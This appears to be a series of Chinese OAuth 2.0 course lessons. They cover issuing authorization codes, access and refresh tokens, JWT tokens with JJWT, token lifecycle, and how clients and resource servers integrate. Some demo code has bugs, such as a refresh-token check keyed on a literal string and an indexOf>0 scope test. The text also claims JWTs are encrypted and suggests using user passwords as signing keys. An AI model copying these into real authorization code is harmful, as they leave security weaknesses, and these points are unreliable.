OAuth 2.0规范建议授权码code值有效期为10分钟,并且 一个授权码code只能被使用一次。不过根据经验呢,在生产环境中code的有效期一般不会超过5分钟。关于授权码code相关的安全方面的内容,我还会在第8讲中详细讲述。

同时,授权服务还需要 将生成的授权码code跟已经授权的权限范围rscope进行绑定并存储,以便后续颁发访问令牌时,我们能够通过code值取出授权范围并与访问令牌绑定。因为第三方软件最终是通过访问令牌来请求受保护资源的。

Map<String,String[]> codeScopeMap =  new HashMap<String, String[]>();

codeScopeMap.put(code,rscope);//授权范围与授权码做绑定

第六步,重定向至第三方软件。

生成授权码code值之后,授权服务需要将该code值告知第三方软件小兔。开始时我们提到,颁发授权码code是通过前端通信完成的,因此这里采用重定向的方式。这一步的重定向,也是我在上一讲中提到的第二次重定向。

Map<String, String> params = new HashMap<String, String>();
params.put("code",code);

String toAppUrl = URLParamsUtil.appendParams(redirectUri,params);//构造第三方软件的回调地址,并重定向到该地址

response.sendRedirect(toAppUrl);//授权码流程的“第二次”重定向

到此,颁发授权码code的流程全部完成。当小兔获取到授权码code值以后,就可以开始请求访问令牌access_token的值了,也就是我们即将开始的过程二。

过程二:颁发访问令牌access_token

我们在过程一中介绍了授权码code的生成流程,但小兔最终是要获取到访问令牌access_token,才可以去请求受保护资源。而授权码呢,正如我在上一讲提到的,只是一个换取访问令牌access_token的临时凭证。

当小兔拿着授权码code来请求的时候,授权服务需要为之生成最终的请求访问令牌。这个过程主要包括验证第三方软件小兔是否存在、验证code值是否合法和生成access_token值这三大步。接下来,我们一起分析下每一步。

第一步,验证第三方软件是否存在。

此时,接收到的grant_type的类型为authorization_code。

String grantType = request.getParameter("grant_type");
if("authorization_code".equals(grantType)){

}

由于颁发访问令牌是通过后端通信完成的,所以这里除了要校验app_id外,还要校验app_secret。

if(!appMap.get("app_id").equals(appId)){
    //app_id不存在
}

if(!appMap.get("app_secret").equals(appSecret)){
    //app_secret不合法
}

第二步,验证授权码code值是否合法。

授权服务在颁发授权码code的阶段已经将code值存储了起来,此时对比从request中接收到的code值和从存储中取出来的code值。在我们给出的课程 相关代码 中,code值对应的key是app_id和user的组合值。

String code = request.getParameter("code");
if(!isExistCode(code)){//验证code值
	//code不存在
  return;
}
codeMap.remove(code);//授权码一旦被使用,须立即作废

这里我们一定要记住, 确认过授权码code值有效以后,应该立刻从存储中删除当前的code值,以防止第三方软件恶意使用一个失窃的授权码code值来请求授权服务。

第三步,生成访问令牌access_token值。

关于按照什么规则来生成访问令牌access_token的值,OAuth 2.0规范中并没有明确规定,但必须符合三个原则: 唯一性、不连续性、不可猜性。在我们给出的Demo中,我们是使用UUID来作为示例的。

和授权码code值一样,我们需要将访问令牌access_token值存储起来,并将其与第三方软件的应用标识app_id和资源拥有者标识user进行关系映射。也就是说, 一个访问令牌access_token表示某一个用户给某一个第三方软件进行授权

同时, 授权服务还需要将授权范围跟访问令牌access_token做绑定。最后,还需要为该访问令牌设置一个过期时间expires_in,比如1天。

Map<String,String[]> tokenScopeMap =  new HashMap<String, String[]>();

String accessToken = generateAccessToken(appId,"USERTEST");//生成访问令牌access_token的值
tokenScopeMap.put(accessToken,codeScopeMap.get(code));//授权范围与访问令牌绑定

//生成访问令牌的方法
private String generateAccessToken(String appId,String user){

  String accessToken = UUID.randomUUID().toString();
	String expires_in = "1";//1天时间过期
  tokenMap.put(accessToken,appId+"|"+user+"|"+System.currentTimeMillis()+"|"+expires_in);

  return accessToken;
}

正因为OAuth 2.0规范没有约束访问令牌内容的生成规则,所以我们有更高的自由度。我们既可以像Demo中那样生成一个UUID形式的数据存储起来,让授权服务和受保护资源共享该数据;也可以将一些必要的信息通过结构化的处理放入令牌本身。 我们将包含了一些信息的令牌,称为结构化令牌,简称JWT。在下一讲中,我还会与你详细讲述JWT。

至此,授权码许可类型下授权服务的两大主要过程,也就是颁发授权码和颁发访问令牌的流程,我就与你讲完了。

接下来,你在阅读别人的授权流程代码,或者是使用诸如通过微信登录的第三方软件的时候,就会明白背后的原理了。同时,你在自己搭建一个授权服务流程时,也会更加得心应手。这一切的原因,都在于颁发授权码和颁发访问令牌,就是授权服务的核心。

到这里,你应该还会注意到一个问题,在生成访问令牌的时候,我们还给它附加了一个过期时间expires_in,这意味着访问令牌会在一定的时间后失效。访问令牌失效,就意味着资源拥有者给第三方软件的授权失效了,第三方软件无法继续访问资源拥有者的受保护资源了。

这时,如果你还想继续使用第三方软件,就只能重新点击授权按钮,比如小明给小兔软件授权以后,正在愉快地处理他店铺的订单数据,结果没过多久,突然间小兔软件再次让小明进行授权。此刻,我们可以替小明感受一下他的心情。

显然,这样的用户体验非常糟糕。为此,OAuth 2.0中引入了刷新令牌的概念,也就是刷新访问令牌access_token的值。这就意味着,有了刷新令牌,用户在一定期限内无需重新点击授权按钮,就可以继续使用第三方软件。

接下来,我们就一起看看刷新令牌的工作原理吧。

刷新令牌

刷新令牌也是给第三方软件使用的,同样需要遵循 先颁发再使用 的原则。因此,我们还是从颁发和使用两个环节来学习刷新令牌。不过,这个颁发和使用流程和访问令牌有些是相同的,所以我只会和你重点讲述其中的区别。

颁发刷新令牌

其实,颁发刷新令牌和颁发访问令牌是一起实现的,都是在过程二的步骤三生成访问令牌access_token中生成的。也就是说,第三方软件得到一个访问令牌的同时,也会得到一个刷新令牌:

Map<String,String> refreshTokenMap =  new HashMap<String, String>();

String refreshToken = generateRefreshToken(appId,"USERTEST");//生成刷新令牌refresh_token的值

private String generateRefreshToken(String appId,String user){

  String refreshToken = UUID.randomUUID().toString();

  refreshTokenMap.put(refreshToken,appId+"|"+user+"|"+System.currentTimeMillis());
  return refreshToken;

}

看到这里你可能要问了,为什么要一起生成访问令牌和刷新令牌呢?

其实,这就回到了刷新令牌的作用上了。刷新令牌存在的初衷是,在访问令牌失效的情况下,为了不让用户频繁手动授权,用来通过系统重新请求 生成一个新的访问令牌。那么,如果访问令牌失效了,而“身边”又没有一个刷新令牌可用,岂不是又要麻烦用户进行手动授权了。所以,它必须得和访问令牌一起生成。

到这里,我们就解决了刷新令牌的颁发问题。

使用刷新令牌

说到刷新令牌的使用,我们需要先明白一点。在OAuth 2.0规范中,刷新令牌是一种特殊的授权许可类型,是嵌入在授权码许可类型下的一种特殊许可类型。在授权服务的代码里,当我们接收到这种授权许可请求的时候,会先比较grant_type和 refresh_token的值,然后做下一步处理。

这其中的流程主要包括如下两大步骤。

第一步,接收刷新令牌请求,验证基本信息。

此时请求中的grant_type值为refresh_token。

String grantType = request.getParameter("grant_type");
if("refresh_token".equals(grantType)){

}

和颁发访问令牌前的验证流程一样,这里我们也需要验证第三方软件是否存在。需要注意的是,这里需要同时验证刷新令牌是否存在,目的就是要保证传过来的刷新令牌的合法性。

String refresh_token = request.getParameter("refresh_token");

if(!refreshTokenMap.containsKey(refresh_token)){
    //该refresh_token值不存在
}

另外,我们还需要验证刷新令牌是否属于该第三方软件。授权服务是将颁发的刷新令牌与第三方软件、当时的授权用户绑定在一起的,因此这里需要判断该刷新令牌的归属合法性。

String appStr = refreshTokenMap.get("refresh_token");
if(!appStr.startsWith(appId+"|"+"USERTEST")){
    //该refresh_token值不是颁发给该第三方软件的
}

需要注意,一个刷新令牌被使用以后,授权服务需要将其废弃,并重新颁发一个刷新令牌。

第二步,重新生成访问令牌。

生成访问令牌的处理流程,与颁发访问令牌环节的生成流程是一致的。授权服务会将新的访问令牌和新的刷新令牌,一起返回给第三方软件。这里就不再赘述了。

总结

今天的课马上又要结束了,我和你讲了授权码许可类型下授权服务的工作原理。授权服务可以说是整个OAuth 2.0体系中的 “灵魂” 组件,任何一种许可类型都离不开它的支持,它也是最复杂的组件。

这是因为它将复杂性尽可能地“揽在了自己身上”,才使得诸如小兔这样的第三方软件接入OAuth 2.0的时候更加便捷。那关于如何快速地接入OAuth 2.0,我在第5讲中和你详细展开。

授权服务的步骤流程比较多,因此我把这节课配套的代码放到了 GitHub 上,可以帮助你更好地理解授权服务的流程。

总结来讲,关于这一讲,我希望你能记住以下3点。

  1. 授权服务的核心就是, 先颁发授权码code值,再颁发访问令牌access_token值
  2. 在颁发访问令牌的 同时还会颁发刷新令牌refresh_token值,这种机制可以在无须用户参与的情况下用于生成新的访问令牌。正如我们讲到的小明使用小兔软件的例子,当访问令牌过期的时候,刷新令牌的存在可以大大提高小明使用小兔软件的体验。
  3. 授权还要有授权范围, 不能让第三方软件获得比注册时权限范围还大的授权,也不能获得超出了用户授权的权限范围,始终确保最小权限安全原则。 比如,小明只为小兔软件授予了获取当天订单的权限,那么小兔软件就不能访问小明店铺里面的历史订单数据。

思考题

刷新令牌有过期时间吗,会一直有效吗?和我说说你的想法吧。

欢迎你在留言区分享你的观点,也欢迎你把今天的内容分享给其他朋友,我们一起交流。

| 在OAuth 2.0中,如何使用JWT结构化令牌?

你好,我是王新栋。

在上一讲,我们讲到了授权服务的核心就是 颁发访问令牌,而OAuth 2.0规范并没有约束访问令牌内容的生成规则,只要符合唯一性、不连续性、不可猜性就够了。这就意味着,我们可以灵活选择令牌的形式,既可以是没有内部结构且不包含任何信息含义的随机字符串,也可以是具有内部结构且包含有信息含义的字符串。

随机字符串这样的方式我就不再介绍了,之前课程中我们生成令牌的方式都是默认一个随机字符串。而在结构化令牌这方面,目前用得最多的就是JWT令牌了。

接下来,我就要和你详细讲讲,JWT是什么、原理是怎样的、优势是什么,以及怎么使用,同时我还会讲到令牌生命周期的问题。

JWT结构化令牌

关于什么是JWT,官方定义是这样描述的:

JSON Web Token(JWT)是一个开放标准(RFC 7519),它定义了一种紧凑的、自包含的方式,用于作为JSON对象在各方之间安全地传输信息。

这个定义是不是很费解?我们简单理解下,JWT就是用一种结构化封装的方式来生成token的技术。结构化后的token可以被赋予非常丰富的含义,这也是它与原先毫无意义的、随机的字符串形式token的最大区别。

结构化之后,令牌本身就可以被“塞进”一些有用的信息,比如小明为小兔软件进行了授权的信息、授权的范围信息等。或者,你可以形象地将其理解为这是一种“自编码”的能力,而这些恰恰是无结构化令牌所不具备的。

JWT这种结构化体可以分为HEADER(头部)、PAYLOAD(数据体)和SIGNATURE(签名)三部分。经过签名之后的JWT的整体结构,是被 句点符号 分割的三段内容,结构为 header.payload.signature 。比如下面这个示例:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.
eyJzdWIiOiJVU0VSVEVTVCIsImV4cCI6MTU4NDEwNTc5MDcwMywiaWF0IjoxNTg0MTA1OTQ4MzcyfQ.
1HbleXbvJ_2SW8ry30cXOBGR9FW4oSWBd3PWaWKsEXE

注意:JWT内部没有换行,这里只是为了展示方便,才将其用三行来表示。

你可能会说,这个JWT令牌看起来也是毫无意义的、随机的字符串啊。确实,你直接去看这个字符串是没啥意义,但如果你把它拷贝到 https://jwt.io/ 网站的在线校验工具中,就可以看到解码之后的数据:

再看解码后的数据,你是不是发现它跟随机的字符串不一样了呢。很显然,现在呈现出来的就是结构化的内容了。接下来,我就具体和你说说JWT的这三部分。

HEADER 表示装载令牌类型和算法等信息,是JWT的头部。其中,typ 表示第二部分PAYLOAD是JWT类型,alg 表示使用HS256对称签名的算法。

PAYLOAD 表示是JWT的数据体,代表了一组数据。其中,sub(令牌的主体,一般设为资源拥有者的唯一标识)、exp(令牌的过期时间戳)、iat(令牌颁发的时间戳)是JWT规范性的声明,代表的是常规性操作。更多的通用声明,你可以参考 RFC 7519开放标准。不过,在一个JWT内可以包含一切合法的JSON格式的数据,也就是说,PAYLOAD表示的一组数据允许我们自定义声明。

SIGNATURE 表示对JWT信息的签名。那么,它有什么作用呢?我们可能认为,有了HEADER和PAYLOAD两部分内容后,就可以让令牌携带信息了,似乎就可以在网络中传输了,但是在网络中传输这样的信息体是不安全的,因为你在“裸奔”啊。所以,我们还需要对其进行加密签名处理,而SIGNATURE就是对信息的签名结果,当受保护资源接收到第三方软件的签名后需要验证令牌的签名是否合法。

现在,我们知道了JWT的结构以及每部分的含义,那么具体到OAuth 2.0的授权流程中,JWT令牌是如何被使用的呢?在讲如何使用之前呢,我先和你说说“令牌内检”。

令牌内检

什么是令牌内检呢?授权服务颁发令牌,受保护资源服务就要验证令牌。同时呢,授权服务和受保护资源服务,它俩是“一伙的”,还记得我之前在 第2课 讲过的吧。受保护资源来调用授权服务提供的检验令牌的服务, 我们把这种校验令牌的方式称为令牌内检。

有时候授权服务依赖一个数据库,然后受保护资源服务也依赖这个数据库,也就是我们说的“共享数据库”。不过,在如今已经成熟的分布式以及微服务的环境下,不同的系统之间是依靠 服务不是数据库 来通信了,比如授权服务给受保护资源服务提供一个RPC服务。如下图所示。

那么,在有了JWT令牌之后,我们就多了一种选择,因为JWT令牌本身就包含了之前所要依赖数据库或者依赖RPC服务才能拿到的信息,比如我上面提到的哪个用户为哪个软件进行了授权等信息。

接下来就让我们看看有了JWT令牌之后,整体的内检流程会变成什么样子。

JWT是如何被使用的?

有了JWT令牌之后的通信方式,就如下面的图3所展示的那样了, 授权服务“扔出”一个令牌,受保护资源服务“接住”这个令牌,然后自己开始解析令牌本身所包含的信息就可以了,而不需要再去查询数据库或者请求RPC服务。这样也实现了我们上面说的令牌内检。

在上面这幅图中呢,为了更能突出JWT令牌的位置,我简化了逻辑关系。实际上,授权服务颁发了JWT令牌后给到了小兔软件,小兔软件拿着JWT令牌来请求受保护资源服务,也就是小明在京东店铺的订单。很显然,JWT令牌需要在公网上做传输。所以在传输过程中,JWT令牌需要进行Base64编码以防止乱码,同时还需要进行签名及加密处理来防止数据信息泄露。

如果是我们自己处理这些编码、加密等工作的话,就会增加额外的编码负担。好在,我们可以借助一些开源的工具来帮助我们处理这些工作。比如,我在下面的Demo中,给出了开源JJWT(Java JWT)的使用方法。

JJWT是目前Java开源的、比较方便的JWT工具,封装了Base64URL编码和对称HMAC、非对称RSA的一系列签名算法。使用JJWT,我们只关注上层的业务逻辑实现,而无需关注编解码和签名算法的具体实现,这类开源工具可以做到“开箱即用”。

这个Demo的代码如下,使用JJWT可以很方便地生成一个经过签名的JWT令牌,以及解析一个JWT令牌。

String sharedTokenSecret="hellooauthhellooauthhellooauthhellooauth";//密钥
Key key = new SecretKeySpec(sharedTokenSecret.getBytes(),
                SignatureAlgorithm.HS256.getJcaName());

//生成JWT令牌
String jwts=
Jwts.builder().setHeaderParams(headerMap).setClaims(payloadMap).signWith(key,SignatureAlgorithm.HS256).compact()

//解析JWT令牌
Jws<Claims> claimsJws =Jwts.parserBuilder().setSigningKey(key).build().parseClaimsJws(jwts);
JwsHeader header = claimsJws.getHeader();
Claims body = claimsJws.getBody();

使用JJWT解析JWT令牌时包含了验证签名的动作,如果签名不正确就会抛出异常信息。我们可以借助这一点来对签名做校验,从而判断是否是一个没有被伪造过的、合法的JWT令牌。

异常信息,一般是如下的样子:

JWT signature does not match locally computed signature. JWT validity cannot be asserted and should not be trusted.

以上就是借助开源工具,将JWT令牌应用到授权服务流程中的方法了。到这里,你是不是一直都有一个疑问:为什么要绕这么大一个弯子,使用JWT,而不是使用没有啥内部结构,也不包含任何信息的随机字符串呢?JWT到底有什么好处?

为什么要使用JWT令牌?

别急,我这就和你总结下使用JWT格式令牌的三大好处。

第一, JWT的核心思想,就是用计算代替存储,有些 “时间换空间” 的 “味道”。当然,这种经过计算并结构化封装的方式,也减少了“共享数据库” 因远程调用而带来的网络传输消耗,所以也有可能是节省时间的。

第二,也是一个重要特性,是加密。因为JWT令牌内部已经包含了重要的信息,所以在整个传输过程中都必须被要求是密文传输的, 这样被强制要求了加密也就保障了传输过程中的安全性。这里的加密算法,既可以是对称加密,也可以是非对称加密。

第三, 使用JWT格式的令牌,有助于增强系统的可用性和可伸缩性。这一点要怎么理解呢?我们前面讲到了,这种JWT格式的令牌,通过“自编码”的方式包含了身份验证需要的信息,不再需要服务端进行额外的存储,所以每次的请求都是无状态会话。这就符合了我们尽可能遵循无状态架构设计的原则,也就是增强了系统的可用性和伸缩性。

但,万物皆有两面性,JWT令牌也有缺点。

JWT格式令牌的最大问题在于 “覆水难收”,也就是说,没办法在使用过程中修改令牌状态。我们还是借助小明使用小兔软件例子,先停下来想一下。

小明在使用小兔软件的时候,是不是有可能因为某种原因修改了在京东的密码,或者是不是有可能突然取消了给小兔的授权?这时候,令牌的状态是不是就要有相应的变更,将原来对应的令牌置为无效。

但,使用JWT格式令牌时,每次颁发的令牌都不会在服务端存储,这样我们要改变令牌状态的时候,就无能为力了。因为服务端并没有存储这个JWT格式的令牌。这就意味着,JWT令牌在有效期内,是可以“横行无止”的。

为了解决这个问题,我们可以把JWT令牌存储到远程的分布式内存数据库中吗?显然不能,因为这会违背JWT的初衷(将信息通过结构化的方式存入令牌本身)。因此,我们通常会有两种做法:

  • 一是,将每次生成JWT令牌时的秘钥粒度缩小到用户级别,也就是一个用户一个秘钥。这样,当用户取消授权或者修改密码后,就可以让这个密钥一起修改。一般情况下,这种方案需要配套一个单独的密钥管理服务。
  • 二是,在不提供用户主动取消授权的环境里面,如果只考虑到修改密码的情况,那么我们就可以把用户密码作为JWT的密钥。当然,这也是用户粒度级别的。这样一来,用户修改密码也就相当于修改了密钥。

令牌的生命周期

我刚才讲了JWT令牌有效期的问题,讲到了它的失效处理,另外咱们在 第3讲 中提到,授权服务颁发访问令牌的时候,都会设置一个过期时间,其实这都属于令牌的生命周期的管理问题。接下来,我便向你讲一讲令牌的生命周期。

万物皆有周期,这是自然规律,令牌也不例外,无论是JWT结构化令牌还是普通的令牌。它们都有有效期,只不过,JWT令牌可以把有效期的信息存储在本身的结构体中。

具体到OAuth 2.0的令牌生命周期,通常会有三种情况。

第一种情况是令牌的自然过期过程,这也是最常见的情况。这个过程是,从授权服务创建一个令牌开始,到第三方软件使用令牌,再到受保护资源服务验证令牌,最后再到令牌失效。同时,这个过程也不排除主动销毁令牌的事情发生,比如令牌被泄露,授权服务可以做主让令牌失效。

生命周期的第二种情况,也就是上一讲提到的,访问令牌失效之后可以使用刷新令牌请求新的访问令牌来代替失效的访问令牌,以提升用户使用第三方软件的体验。

生命周期的第三种情况,就是让第三方软件比如小兔,主动发起令牌失效的请求,然后授权服务收到请求之后让令牌立即失效。我们来想一下,什么情况下会需要这种机制,也就是想一下第三方软件这样做的 “动机”,毕竟一般情况下 “我们很难放弃已经拥有的事物”。

比如有些时候,用户和第三方软件之间存在一种订购关系,比如小明购买了小兔软件,那么在订购时长到期或者退订,且小明授权的token还没有到期的情况下,就需要有这样的一种令牌撤回协议,来支持小兔软件主动发起令牌失效的请求。作为平台一方比如京东商家开放平台,也建议有责任的第三方软件比如小兔软件,遵守这样的一种令牌撤回协议。

我将以上三种情况整理成了一份序列图,以便帮助你理解。同时,为了突出令牌,我将访问令牌和刷新令牌,特意用深颜色标识出来,并单独作为两个角色放进了整个序列图中。

总结

OAuth 2.0 的核心是授权服务,更进一步讲是令牌, 没有令牌就没有OAuth, 令牌表示的是授权行为之后的结果。

一般情况下令牌对第三方软件来说是一个随机的字符串,是不透明的。大部分情况下,我们提及的令牌,都是一个无意义的字符串。

但是,人们“不甘于”这样的满足,于是开始探索有没有其他生成令牌的方式,也就有了JWT令牌,这样一来既不需要通过共享数据库,也不需要通过授权服务提供接口的方式来做令牌校验了。这就相当于通过JWT这种结构化的方式,我们在做令牌校验的时候多了一种选择。

通过这一讲呢,我希望你能记住以下几点内容:

  1. 我们有了新的令牌生成方式的选择,这就是JWT令牌。这是一种结构化、信息化令牌, 结构化可以组织用户的授权信息,信息化就是令牌本身包含了授权信息
  2. 虽然我们这讲的重点是JWT令牌,但是呢,不论是结构化的令牌还是非结构化的令牌,对于第三方软件来讲,它都不关心,因为 令牌在OAuth 2.0系统中对于第三方软件都是不透明的。需要关心令牌的,是授权服务和受保护资源服务。
  3. 我们需要注意JWT令牌的失效问题。我们使用了JWT令牌之后,远程的服务端上面是不存储的,因为不再有这个必要,JWT令牌本身就包含了信息。那么,如何来控制它的有效性问题呢?本讲中,我给出了两种建议, 一种是建立一个秘钥管理系统,将生成秘钥的粒度缩小到用户级别,另外一种是直接将用户密码当作密钥。

现在,你已经对JWT有了更深刻的认识,也知道如何来使用它了。当你构建并生成令牌的时候除了使用随机的、“任性的”字符串,还可以采用这样的结构化的令牌,以便在令牌校验的时候能解析出令牌的内容信息直接进行校验处理。

我把今天用到的代码放到了GitHub上,你可以点击 这个链接 查看。

思考题

你还知道有哪些场景适合JWT令牌,又有哪些场景不适合JWT令牌吗?

欢迎你在留言区分享你的观点,也欢迎你把今天的内容分享给其他朋友,我们一起交流。

| 如何安全、快速地接入OAuth 2.0?

你好,我是王新栋。

第3讲,我已经讲了授权服务的流程,如果你还记得的话,当时我特意强调了一点,就是 授权服务将OAuth 2.0的复杂性都揽在了自己身上,这也是授权服务为什么是OAuth 2.0体系的核心的原因之一。

虽然授权服务做了大部分工作,但是呢,在OAuth 2.0的体系里面,除了资源拥有者是作为用户参与,还有另外两个系统角色,也就是第三方软件和受保护资源服务。那么今天这一讲,我们就站在这两个角色的角度,看看它们应该做哪些工作,才能接入到OAuth 2.0的体系里面呢?

现在,就让我们来看看,作为第三方软件的小兔和京东的受保护资源服务,具体需要着重处理哪些工作吧。

注:另外说明一点,为了脱敏的需要,在下面的讲述中,我只是把京东商家开放平台作为一个角色使用,以便有场景感,来帮助你理解。

构建第三方软件应用

我们先来思考一下:如果要基于京东商家开放平台构建一个小兔打单软件的应用,小兔软件的研发人员应该做哪些工作?

是不是要到京东商家开放平台申请注册为开发者,在成为开发者以后再创建一个应用,之后我们就开始开发了,对吧?没错,一定是这样的流程。那么,开发第三方软件应用的过程中,我们需要重点关注哪些内容呢?

我先来和你总结下,这些内容包括4部分,分别是: 注册信息、引导授权、使用访问令牌、使用刷新令牌。

第一点,注册信息。

首先,小兔软件只有先有了身份,才可以参与到OAuth 2.0的流程中去。也就是说,小兔软件需要先拥有自己的app_id和app_serect等信息,同时还要填写自己的回调地址redirect_uri、申请权限等信息。

这种方式的注册呢,我们有时候也称它为 静态注册,也就是小兔软件的研发人员提前登录到京东商家开放平台进行手动注册,以便后续使用这些注册的相关信息来请求访问令牌。

第二点,引导授权。

当用户需要使用第三方软件,来操作其在受保护资源上的数据,就需要第三方软件来引导授权。比如,小明要使用小兔打单软件来对店铺里面的订单发货打印,那小明首先访问的一定是小兔软件(原则上是直接访问第三方软件,不过我们在后面讲到服务市场这种场景的时候,会有稍微不同),不会是授权服务,更不会是受保护资源服务。

但是呢,小兔软件需要小明的授权,只有授权服务才能允许小明这样做。所以呢,小兔软件需要 “配合” 小明做的第一件事儿,就是将小明引导至授权服务,如下面代码所示。

那去做什么呢?其实就是让用户为第三方软件授权,得到了授权之后,第三方软件才可以代表用户去访问数据。也就是说,小兔打单软件获得授权之后,才能够代表小明处理其在京东店铺上的订单数据。

String oauthUrl = "http://localhost:8081/OauthServlet-ch03?reqType=oauth";

response.sendRedirect(toOauthUrl);

第三点,使用访问令牌。

拿到令牌后去使用令牌,才是第三方软件的最终目的。然后我们看看如何使用令牌。目前OAuth 2.0的令牌只支持一种类型,那就是bearer令牌,也就是我之前讲到的可以是任意字符串格式的令牌。

官方规范给出的使用访问令牌请求的方式,有三种,分别是:

  • Form-Encoded Body Parameter(表单参数)
POST /resource HTTP/1.1
Host: server.example.com
Content-Type: application/x-www-form-urlencoded

access_token=b1a64d5c-5e0c-4a70-9711-7af6568a61fb

  • URI Query Parameter(URI查询参数)
GET /resource?access_token=b1a64d5c-5e0c-4a70-9711-7af6568a61fb HTTP/1.1
Host: server.example.com

  • Authorization Request Header Field(授权请求头部字段)
GET /resource HTTP/1.1
Host: server.example.com
Authorization: Bearer b1a64d5c-5e0c-4a70-9711-7af6568a61fb

也就是说,这三种方式都可以请求到受保护资源服务。那么,我们采用哪种方式最合适呢?

根据 OAuth 2.0 的官方建议,系统在接入OAuth 2.0之前信息传递的请求载体是JSON格式的,那么如果继续采用表单参数提交的方式,令牌就无法加入进去了,因为格式不符。如果这时采用参数传递的方式呢,整个URI会被整体复制,安全性是最差的。而请求头部字段的方式就没有上述的这些“烦恼”,因此官方的建议是采用Authorization的方式来传递令牌。

但是, 我建议你采用表单提交,也就是POST的方式来提交令牌, 类似如下代码所示。原因是这样的,从官方的建议中也可以看出,它指的是在接入OAuth 2.0之前,如果你已经采用了JSON数据格式请求体的情况下,不建议使用表单提交。但是,刚开始的时候,只要三方软件和平台之间约束好了,大家一致采用表单提交,就没有任何问题了。 因为表单提交的方式在保证安全传输的同时,还不需要去额外处理Authorization头部信息

String protectedURl="http://localhost:8082/ProtectedServlet-ch03";
Map<String, String> paramsMap = new HashMap<String, String>();

paramsMap.put("app_id","APPID_RABBIT");
paramsMap.put("app_secret","APPSECRET_RABBIT");
paramsMap.put("token",accessToken);

String result = HttpURLClient.doPost(protectedURl,HttpURLClient.mapToStr(paramsMap));

第四点,使用刷新令牌。

我在讲授权服务的时候提到过,如果访问令牌过期了,小兔软件总不能立马提示并让小明重新授权一次,否则小明的体验将会非常不好。为了解决这个问题呢,就用到了刷新令牌。

使用刷新令牌的方式跟使用访问令牌是一样的,具体可以参照上面我们讲的访问令牌的方式。关于刷新令牌的使用,你最需要关心的是,什么时候你会来决定使用刷新令牌。

在小兔打单软件收到访问令牌的同时,也会收到访问令牌的过期时间expires_in。一个设计良好的第三方应用, 应该将expires_in值保存下来并定时检测;如果发现expires_in即将过期,则需要利用refresh_token去重新请求授权服务,以便获取新的、有效的访问令牌。

这种定时检测的方法可以提前发现访问令牌是否即将过期。此外,还有一种方法是“现场”发现。也就是说,比如小兔软件访问小明店铺订单的时候,突然收到一个访问令牌失效的响应,此时小兔软件立即使用refresh_token来请求一个访问令牌,以便继续代表小明使用他的数据。

综合来看的话,定时检测的方式,需要我们额外开发一个定时任务;而“现场”发现,就没有这种额外的工作量啦。具体采用哪一种方式,你可以结合自己的实际情况。不过呢,我还是建议你采用定时检测这种方式,因为它可以带来“提前量”,以便让我们有更好的主动性,而现场发现就有点被动了。

说到这里,我要再次提醒你注意的是, 刷新令牌是一次性的,使用之后就会失效,但是它的有效期会比访问令牌要长。这个时候我们可能会想到,如果刷新令牌也过期了怎么办?在这种情况下,我们就需要将刷新令牌和访问令牌都放弃,相当于回到了系统的初始状态,只能让用户小明重新授权了。

到这里,我们来总结下,在构建第三方应用时,你需要重点关注的就是注册、授权、访问令牌、刷新令牌。只要你掌握了这四部分内容,在类似京东这样的开放平台上开发小兔软件,就不再是什么困难的事情了。

服务市场中的第三方应用软件

在构建第三方应用的引导授权时,我们说用户第一次“触摸”到的一定是第三方软件,但这并不是绝对的。这个不绝对,就发生在服务市场这样的场景里。

那什么是服务市场呢?说白了,就是你开发的软件,比如小兔打单软件、店铺装修软件等,都发布到这样一个“市场”里面售卖。这样,当用户购买了这些软件之后,就可以在服务市场里面看到有个“立即使用”的按钮。点击这个按钮,用户就可以直接访问自己购买的第三方软件了。

比如,京东的京麦服务市场里有个“我的服务”目录,里面就存放了我购买的打单软件。小明就可以直接点击“立即使用”,继而进入小兔打单软件,如下图所示。

那么,这里需要注意的是,作为第三方开发者来构建第三方软件的时候,在授权码环节除了要接收授权码code值之外,还要接收用户的订购相关信息,比如服务的版本号、服务代码标识等信息。

好了,以上就是关于构建第三方软件时需要注意的一些细节问题了。接下来,我们再谈谈构建受保护资源服务的时候,又需要重点处理哪些工作呢。

构建受保护资源服务

你先想一想,实际上在整个开放授权的环境中,受保护资源最终指的还是Web API,比如说,访问头像的API、访问昵称的API。对应到我们的打单软件中,受保护资源就是订单查询API、批量查询API等。

在互联网上的系统之间的通信,基本都是以Web API为载体的形式进行。因此呢,当我们说受保护资源被授权服务保护着时,实际上说的是授权服务最终保护的是这些Web API。我们在构建受保护资源服务的时候,除了基本的要检查令牌的合法性,还需要做些什么呢?我认为 最重要的就是权限范围了。

在我们处理受保护资源服务中的逻辑的时候,校验权限的处理会占据很大的比重。你想啊,访问令牌递过来,你肯定要多看看令牌到底能操作哪些功能、又能访问哪些数据吧。现在,我们把这些权限的类别总结归纳下来,最常见的大概有以下几类。

接下来,我和你具体说说这些权限是如何使用的。

  1. 不同的权限对应不同的操作。

这里的操作,其实对应的是Web API,比如目前京东商家开放平台提供有查询商品API、新增商品API、删除商品API这三种。如果小兔软件请求过来的一个访问令牌access_token的scope权限范围只对应了查询商品API、新增商品API,那么包含这个access_token值的请求,就不能执行删除商品API的操作。

//不同的权限对应不同的操作
String[] scope = OauthServlet.tokenScopeMap.get(accessToken);

StringBuffer sbuf = new StringBuffer();
for(int i=0;i<scope.length;i++){
    sbuf.append(scope[i]).append("|");
}

if(sbuf.toString().indexOf("query")>0){
    queryGoods("");
}

if(sbuf.toString().indexOf("add")>0){
    addGoods("");
}

if(sbuf.toString().indexOf("del")>0){
    delGoods("");
}

  1. 不同的权限对应不同的数据。

这里的数据,就是指某一个API里包含的属性字段信息。比如,有一个查询小明信息的API,返回的信息包括Contact(email、phone、qq)、Like(Basketball、Swimming)、Personal Data(sex、age、nickname)。如果小兔软件请求过来的一个访问令牌access_token的scope权限范围只对应了Personal Data,那么包含该access_token值的请求就不能获取到Contact和Like的信息,关于这部分的代码,实际跟不同权限对应不同操作的代码类似。

看到这里,你就明白了,这种权限范围的粒度要比“不同的权限对应不同的操作”的粒度要小。这正是遵循了最小权限范围原则。

  1. 不同的用户对应不同的数据。

这种权限是什么意思呢?其实,这种权限实际上只是换了一种维度,将其定位到了用户上面。

一些基础类信息,比如获取地理位置、获取天气预报等,不会带有用户归属属性,也就是说这些信息并不归属于某个用户,是一类公有信息。对于这样的信息,平台提供出去的API接口都是“中性”的,没有用户属性。

但是,更多的场景却是基于用户属性的。还是以小兔打单软件为例,商家每次打印物流面单的时候,小兔打单软件都要知道是哪个商家的订单。这种情况下,商家为小兔软件授权,小兔软件获取的access_token实际上就包含了商家这个用户属性。

